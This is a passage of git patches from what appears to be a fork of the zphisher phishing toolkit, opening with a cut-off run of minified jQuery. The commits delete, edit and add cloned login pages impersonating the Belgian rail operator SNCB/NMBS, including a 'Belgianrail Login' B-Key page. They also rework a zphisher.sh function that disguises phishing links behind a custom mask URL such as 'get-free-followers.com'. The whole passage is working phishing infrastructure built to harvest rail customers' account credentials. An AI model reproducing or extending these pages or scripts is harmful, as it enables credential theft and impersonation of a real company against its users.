0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(nb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:r.trim(r.text(a)).replace(ob," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type,g=f?null:[],h=f?e+1:d.length,i=e<0?h:f?e:0;i-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var pb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var g,h,i,j,k,m,n,o=[e||d],p=l.call(b,"type")?b.type:b,q=l.call(b,"namespace")?b.namespace.split("."):[];if(h=i=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!pb.test(p+r.event.triggered)&&(p.indexOf(".")>-1&&(q=p.split("."),p=q.shift(),q.sort()),k=p.indexOf(":")<0&&"on"+p,b=b[r.expando]?b:new r.Event(p,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=q.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:r.makeArray(c,[b]),n=r.event.special[p]||{},f||!n.trigger||n.trigger.apply(e,c)!==!1)){if(!f&&!n.noBubble&&!r.isWindow(e)){for(j=n.delegateType||p,pb.test(j+p)||(h=h.parentNode);h;h=h.parentNode)o.push(h),i=h;i===(e.ownerDocument||d)&&o.push(i.defaultView||i.parentWindow||a)}g=0;while((h=o[g++])&&!b.isPropagationStopped())b.type=g>1?j:n.bindType||p,m=(V.get(h,"events")||{})[b.type]&&V.get(h,"handle"),m&&m.apply(h,c),m=k&&h[k],m&&m.apply&&T(h)&&(b.result=m.apply(h,c),b.result===!1&&b.preventDefault());return b.type=p,f||b.isDefaultPrevented()||n._default&&n._default.apply(o.pop(),c)!==!1||!T(e)||k&&r.isFunction(e[p])&&!r.isWindow(e)&&(i=e[k],i&&(e[k]=null),r.event.triggered=p,e[p](),r.event.triggered=void 0,i&&(e[k]=i)),b.result}},simulate:function(a,b,c){var d=r.extend(new r.Event,c,{type:a,isSimulated:!0});r.event.trigger(d,null,b)}}),r.fn.extend({trigger:function(a,b){return this.each(function(){r.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];if(c)return r.event.trigger(a,b,c,!0)}}),r.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(a,b){r.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),r.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),o.focusin="onfocusin"in a,o.focusin||r.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){r.event.simulate(b,a.target,r.event.fix(a))};r.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=V.access(d,b);e||d.addEventListener(a,c,!0),V.access(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=V.access(d,b)-1;e?V.access(d,b,e):(d.removeEventListener(a,c,!0),V.remove(d,b))}}});var qb=a.location,rb=r.now(),sb=/\?/;r.parseXML=function(b){var c;if(!b||"string"!=typeof b)return null;try{c=(new a.DOMParser).parseFromString(b,"text/xml")}catch(d){c=void 0}return c&&!c.getElementsByTagName("parsererror").length||r.error("Invalid XML: "+b),c};var tb=/\[\]$/,ub=/\r?\n/g,vb=/^(?:submit|button|image|reset|file)$/i,wb=/^(?:input|select|textarea|keygen)/i;function xb(a,b,c,d){var e;if(r.isArray(b))r.each(b,function(b,e){c||tb.test(a)?d(a,e):xb(a+"["+("object"==typeof e&&null!=e?b:"")+"]",e,c,d)});else if(c||"object"!==r.type(b))d(a,b);else for(e in b)xb(a+"["+e+"]",b[e],c,d)}r.param=function(a,b){var c,d=[],e=function(a,b){var c=r.isFunction(b)?b():b;d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(null==c?"":c)};if(r.isArray(a)||a.jquery&&!r.isPlainObject(a))r.each(a,function(){e(this.name,this.value)});else for(c in a)xb(c,a[c],b,e);return d.join("&")},r.fn.extend({serialize:function(){return r.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var a=r.prop(this,"elements");return a?r.makeArray(a):this}).filter(function(){var a=this.type;return this.name&&!r(this).is(":disabled")&&wb.test(this.nodeName)&&!vb.test(a)&&(this.checked||!ha.test(a))}).map(function(a,b){var c=r(this).val();return null==c?null:r.isArray(c)?r.map(c,function(a){return{name:b.name,value:a.replace(ub,"\r\n")}}):{name:b.name,value:c.replace(ub,"\r\n")}}).get()}});var yb=/%20/g,zb=/#.*$/,Ab=/([?&])_=[^&]*/,Bb=/^(.*?):[ \t]*([^\r\n]*)$/gm,Cb=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Db=/^(?:GET|HEAD)$/,Eb=/^\/\//,Fb={},Gb={},Hb="*/".concat("*"),Ib=d.createElement("a");Ib.href=qb.href;function Jb(a){return function(b,c){"string"!=typeof b&&(c=b,b="*");var d,e=0,f=b.toLowerCase().match(K)||[];if(r.isFunction(c))while(d=f[e++])"+"===d[0]?(d=d.slice(1)||"*",(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function Kb(a,b,c,d){var e={},f=a===Gb;function g(h){var i;return e[h]=!0,r.each(a[h]||[],function(a,h){var j=h(b,c,d);return"string"!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e["*"]&&g("*")}function Lb(a,b){var c,d,e=r.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&r.extend(!0,a,d),a}function Mb(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while("*"===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader("Content-Type"));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+" "+i[0]]){f=e;break}g||(g=e)}f=f||g}if(f)return f!==i[0]&&i.unshift(f),c[f]}function Nb(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if("*"===f)f=i;else if("*"!==i&&i!==f){if(g=j[i+" "+f]||j["* "+f],!g)for(e in j)if(h=e.split(" "),h[1]===f&&(g=j[i+" "+h[0]]||j["* "+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a["throws"])b=g(b);else try{b=g(b)}catch(l){return{state:"parsererror",error:g?l:"No conversion from "+i+" to "+f}}}return{state:"success",data:b}}r.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:qb.href,type:"GET",isLocal:Cb.test(qb.protocol),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Hb,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/\bxml\b/,html:/\bhtml/,json:/\bjson\b/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":JSON.parse,"text xml":r.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?Lb(Lb(a,r.ajaxSettings),b):Lb(r.ajaxSettings,a)},ajaxPrefilter:Jb(Fb),ajaxTransport:Jb(Gb),ajax:function(b,c){"object"==typeof b&&(c=b,b=void 0),c=c||{};var e,f,g,h,i,j,k,l,m,n,o=r.ajaxSetup({},c),p=o.context||o,q=o.context&&(p.nodeType||p.jquery)?r(p):r.event,s=r.Deferred(),t=r.Callbacks("once memory"),u=o.statusCode||{},v={},w={},x="canceled",y={readyState:0,getResponseHeader:function(a){var b;if(k){if(!h){h={};while(b=Bb.exec(g))h[b[1].toLowerCase()]=b[2]}b=h[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return k?g:null},setRequestHeader:function(a,b){return null==k&&(a=w[a.toLowerCase()]=w[a.toLowerCase()]||a,v[a]=b),this},overrideMimeType:function(a){return null==k&&(o.mimeType=a),this},statusCode:function(a){var b;if(a)if(k)y.always(a[y.status]);else for(b in a)u[b]=[u[b],a[b]];return this},abort:function(a){var b=a||x;return e&&e.abort(b),A(0,b),this}};if(s.promise(y),o.url=((b||o.url||qb.href)+"").replace(Eb,qb.protocol+"//"),o.type=c.method||c.type||o.method||o.type,o.dataTypes=(o.dataType||"*").toLowerCase().match(K)||[""],null==o.crossDomain){j=d.createElement("a");try{j.href=o.url,j.href=j.href,o.crossDomain=Ib.protocol+"//"+Ib.host!=j.protocol+"//"+j.host}catch(z){o.crossDomain=!0}}if(o.data&&o.processData&&"string"!=typeof o.data&&(o.data=r.param(o.data,o.traditional)),Kb(Fb,o,c,y),k)return y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,""),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(" - - \ No newline at end of file From 899571adc981a1b42ba374bb214de97b64b8aa92 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:05:25 +0200 Subject: [PATCH 30/64] Delete .sites/login_en.html --- .sites/login_en.html | 406 ------------------------------------------- 1 file changed, 406 deletions(-) delete mode 100644 .sites/login_en.html diff --git a/.sites/login_en.html b/.sites/login_en.html deleted file mode 100644 index 36b4d631..00000000 --- a/.sites/login_en.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - My SNCB: Log in to your customer account | SNCB - - - - - - - - - - - - - - - - - - - - arrow-down - - - - - - - arrow-left - - - - arrow-right - - - - arrow-up - - - - - - - bike - - - - - - - - - - - - bus - - - - - - - - - - - - - car - - - - - - check - - - - - - - - - - - - check - - - - check2-anim - - - - - - - - - close - - - - - dot - - - - - - - - - - menu - - - - metro - - - - - - - - - - print - - - - - - - - - - - roadwork - - - - search - - - - - - - - - share - - - - - - - switch - - - - train - - - - tram - - - - walk - - - - - - - - - - - - - - - warning - - - - - - - - - - - - - - - warning-2 - - - - - - - - - - - - - - - - - -
- -
-
-

My SNCB/NMBS

-

With your own My SNCB/NMBS account, take advantage of all our online personalised, practical services.

-
- -
-
-

Login

- -
- - - - - - - -
- - -
Please enter a valid email
-
- -
- - - -
Please enter your password
-
- -
- -
-
-
-
- - - - - - - - - Reset your password - - - - -
- - - - - Resend activation email - - - - - -
- -
- -
-

Don’t have an account yet?

-

Create your online account, which just takes a few clicks to complete the process, and take advantage of the numerous advantages of My SNCB/NMBS.

- - - - - Create your account - -
-
-
- -
-
-

The benefits of your My SNCB account :

-
    -
  • -
  • Buy and renew your season ticket in a few clicks
  • -
  • Download your traveller certificate (valid for your tax return)
  • -
  • View the balance of your eWallet
  • -
  • Book your reduced mobility assistance online
  • -
-
-
-
- - - \ No newline at end of file From 8f39b523e65174a09c077f7949851ce923b2e29d Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:05:47 +0200 Subject: [PATCH 31/64] Delete .sites/login.html --- .sites/login.html | 406 ---------------------------------------------- 1 file changed, 406 deletions(-) delete mode 100644 .sites/login.html diff --git a/.sites/login.html b/.sites/login.html deleted file mode 100644 index 611ebc63..00000000 --- a/.sites/login.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - My SNCB : Se connecter à votre espace client | SNCB - - - - - - - - - - - - - - - - - - - arrow-down - - - - - - - arrow-left - - - - arrow-right - - - - arrow-up - - - - - - - bike - - - - - - - - - - - - bus - - - - - - - - - - - - - car - - - - - - check - - - - - - - - - - - - check - - - - check2-anim - - - - - - - - - close - - - - - dot - - - - - - - - - - menu - - - - metro - - - - - - - - - - print - - - - - - - - - - - roadwork - - - - search - - - - - - - - - share - - - - - - - switch - - - - train - - - - tram - - - - walk - - - - - - - - - - - - - - - warning - - - - - - - - - - - - - - - warning-2 - - - - - - - - - - - - - - - - - -
- -
-
-

My SNCB

-

Avec votre compte My SNCB, profitez de tous nos services pratiques personnalisés en ligne. Pour renouveler un abonnement, vous avez besoin d’un compte My SNCB.

-
- -
-
-

Login

- -
- - - - - - - -
- -
Veuillez saisir une adresse e-mail valide
-
- -
- - - -
Veuillez saisir votre mot de passe
-
- -
- -
-
-
-
- - - - - - - Mot de passe oublié? - - - - - - -
- - - Pas reçu l’e-mail d’activation? - - - - - - - -
- -
- -
-

Pas encore de compte?

-

Créez votre compte en ligne en quelques clics pour poursuivre votre commande et profiter des nombreux avantages de My SNCB.

- - - Créez votre compte - - - -
-
-
- -
-
-

Les avantages de votre compte My SNCB :

-
    -
  • -
  • Achetez et renouvelez un abonnement en quelques clics
  • -
  • Téléchargez votre attestation voyageur (valable pour votre déclaration fiscale)
  • -
  • Consultez le solde de votre porte-feuille électronique
  • -
  • Réservez une assistance mobilité réduite en ligne
  • -
-
-
-
- - - \ No newline at end of file From cea477de8f3ddf3827ef9e24b41a4e862c15862b Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:28:00 +0200 Subject: [PATCH 32/64] Update login_de.html --- .sites/sncb/login_de.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.sites/sncb/login_de.html b/.sites/sncb/login_de.html index 6fef1aa4..76b36859 100644 --- a/.sites/sncb/login_de.html +++ b/.sites/sncb/login_de.html @@ -315,8 +315,8 @@

Einloggen

@@ -404,4 +404,4 @@

Die Vorteile Ihres My SNCB-Kontos:

- \ No newline at end of file + From 1972aa656c3d1c2de988bd567a336de10485160c Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:28:35 +0200 Subject: [PATCH 33/64] Update login_en.html --- .sites/sncb/login_en.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.sites/sncb/login_en.html b/.sites/sncb/login_en.html index 36b4d631..92838963 100644 --- a/.sites/sncb/login_en.html +++ b/.sites/sncb/login_en.html @@ -315,8 +315,8 @@

Login

@@ -403,4 +403,4 @@

The benefits of your My SNCB account :

- \ No newline at end of file + From 31ba50c289af30a6e4f1e6286f6ba4b81bd98755 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:55:59 +0200 Subject: [PATCH 34/64] Update login_de.html --- .sites/sncb/login_de.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/sncb/login_de.html b/.sites/sncb/login_de.html index 76b36859..3ec524ba 100644 --- a/.sites/sncb/login_de.html +++ b/.sites/sncb/login_de.html @@ -302,7 +302,7 @@

My S

Einloggen

-
+ From 9e93b0f060939e7ec18871aec747fa2f83736fa6 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:57:20 +0200 Subject: [PATCH 35/64] Update login_en.html --- .sites/sncb/login_en.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/sncb/login_en.html b/.sites/sncb/login_en.html index 92838963..4bfd8ef4 100644 --- a/.sites/sncb/login_en.html +++ b/.sites/sncb/login_en.html @@ -302,7 +302,7 @@

My S

Login

- + From 0438d8a6e72ae89e66c40bf4c59fcb8ef1d1feb5 Mon Sep 17 00:00:00 2001 From: dracksters Date: Wed, 12 Jun 2024 16:26:53 +0200 Subject: [PATCH 36/64] Update zphisher.sh --- zphisher.sh | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) diff --git a/zphisher.sh b/zphisher.sh index 19af39c0..5625a76c 100755 --- a/zphisher.sh +++ b/zphisher.sh @@ -546,19 +546,19 @@ tunnel_menu() { ## Custom Mask URL custom_mask() { - { sleep .5; clear; banner_small; echo; } - read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op - echo - if [[ ${mask_op,,} == "y" ]]; then - echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" - read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+ - if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then - mask=$mask_url - echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" - else - echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.." - fi - fi +{ sleep .5; clear; banner_small; echo; } +read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op +echo +if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then +echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n" +read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url +if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then +mask=$mask_url +echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask" +else +echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.." +fi +fi } ## URL Shortner From 34f4f31cca4eefd854aac67667f85bb68d01d59f Mon Sep 17 00:00:00 2001 From: dracksters Date: Thu, 13 Jun 2024 09:15:58 +0200 Subject: [PATCH 37/64] Add files via upload --- .sites/b-key/Belgianrail Login.html | 73 ++++++++ .../b-key/Belgianrail Login_files/all.min.css | 5 + .sites/b-key/Belgianrail Login_files/bkey.png | Bin 0 -> 1281 bytes ...klogin.js.t\303\251l\303\251charg\303\251" | 88 ++++++++++ .../Belgianrail Login_files/bootstrap.min.css | 6 + ....0.min.js.t\303\251l\303\251charg\303\251" | 4 + ...ze.min.js.t\303\251l\303\251charg\303\251" | 4 + ...cookie.js.t\303\251l\303\251charg\303\251" | 165 ++++++++++++++++++ .../logo-nmbs-sncb.png | Bin 0 -> 4023 bytes .../b-key/Belgianrail Login_files/styles.css | 72 ++++++++ 10 files changed, 417 insertions(+) create mode 100644 .sites/b-key/Belgianrail Login.html create mode 100644 .sites/b-key/Belgianrail Login_files/all.min.css create mode 100644 .sites/b-key/Belgianrail Login_files/bkey.png create mode 100644 ".sites/b-key/Belgianrail Login_files/bklogin.js.t\303\251l\303\251charg\303\251" create mode 100644 .sites/b-key/Belgianrail Login_files/bootstrap.min.css create mode 100644 ".sites/b-key/Belgianrail Login_files/jquery-3.1.0.min.js.t\303\251l\303\251charg\303\251" create mode 100644 ".sites/b-key/Belgianrail Login_files/jquery.localize.min.js.t\303\251l\303\251charg\303\251" create mode 100644 ".sites/b-key/Belgianrail Login_files/js.cookie.js.t\303\251l\303\251charg\303\251" create mode 100644 .sites/b-key/Belgianrail Login_files/logo-nmbs-sncb.png create mode 100644 .sites/b-key/Belgianrail Login_files/styles.css diff --git a/.sites/b-key/Belgianrail Login.html b/.sites/b-key/Belgianrail Login.html new file mode 100644 index 00000000..826eaeba --- /dev/null +++ b/.sites/b-key/Belgianrail Login.html @@ -0,0 +1,73 @@ + + + + + + + Belgianrail Login + + + + + + +
+ + + + + +

+
B-Key Login +

+
+
+
+
+
+ + + + + +
+
+ + + +
+
+ + +
+ +

I forgot my password

+
+ +
+ +
+ + + + +
+ +
+
+

Log in with another federation/organisation


+
+ + + + + + \ No newline at end of file diff --git a/.sites/b-key/Belgianrail Login_files/all.min.css b/.sites/b-key/Belgianrail Login_files/all.min.css new file mode 100644 index 00000000..3d28ab20 --- /dev/null +++ b/.sites/b-key/Belgianrail Login_files/all.min.css @@ -0,0 +1,5 @@ +/*! + * Font Awesome Free 5.13.0 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left,.fab.fa-pull-left,.fal.fa-pull-left,.far.fa-pull-left,.fas.fa-pull-left{margin-right:.3em}.fa.fa-pull-right,.fab.fa-pull-right,.fal.fa-pull-right,.far.fa-pull-right,.fas.fa-pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s linear infinite;animation:fa-spin 2s linear infinite}.fa-pulse{-webkit-animation:fa-spin 1s steps(8) infinite;animation:fa-spin 1s steps(8) infinite}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes fa-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.fa-rotate-90{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";-webkit-transform:rotate(270deg);transform:rotate(270deg)}.fa-flip-horizontal{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";-webkit-transform:scaleX(-1);transform:scaleX(-1)}.fa-flip-vertical{-webkit-transform:scaleY(-1);transform:scaleY(-1)}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical,.fa-flip-vertical{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"}.fa-flip-both,.fa-flip-horizontal.fa-flip-vertical{-webkit-transform:scale(-1);transform:scale(-1)}:root .fa-flip-both,:root .fa-flip-horizontal,:root .fa-flip-vertical,:root .fa-rotate-90,:root .fa-rotate-180,:root 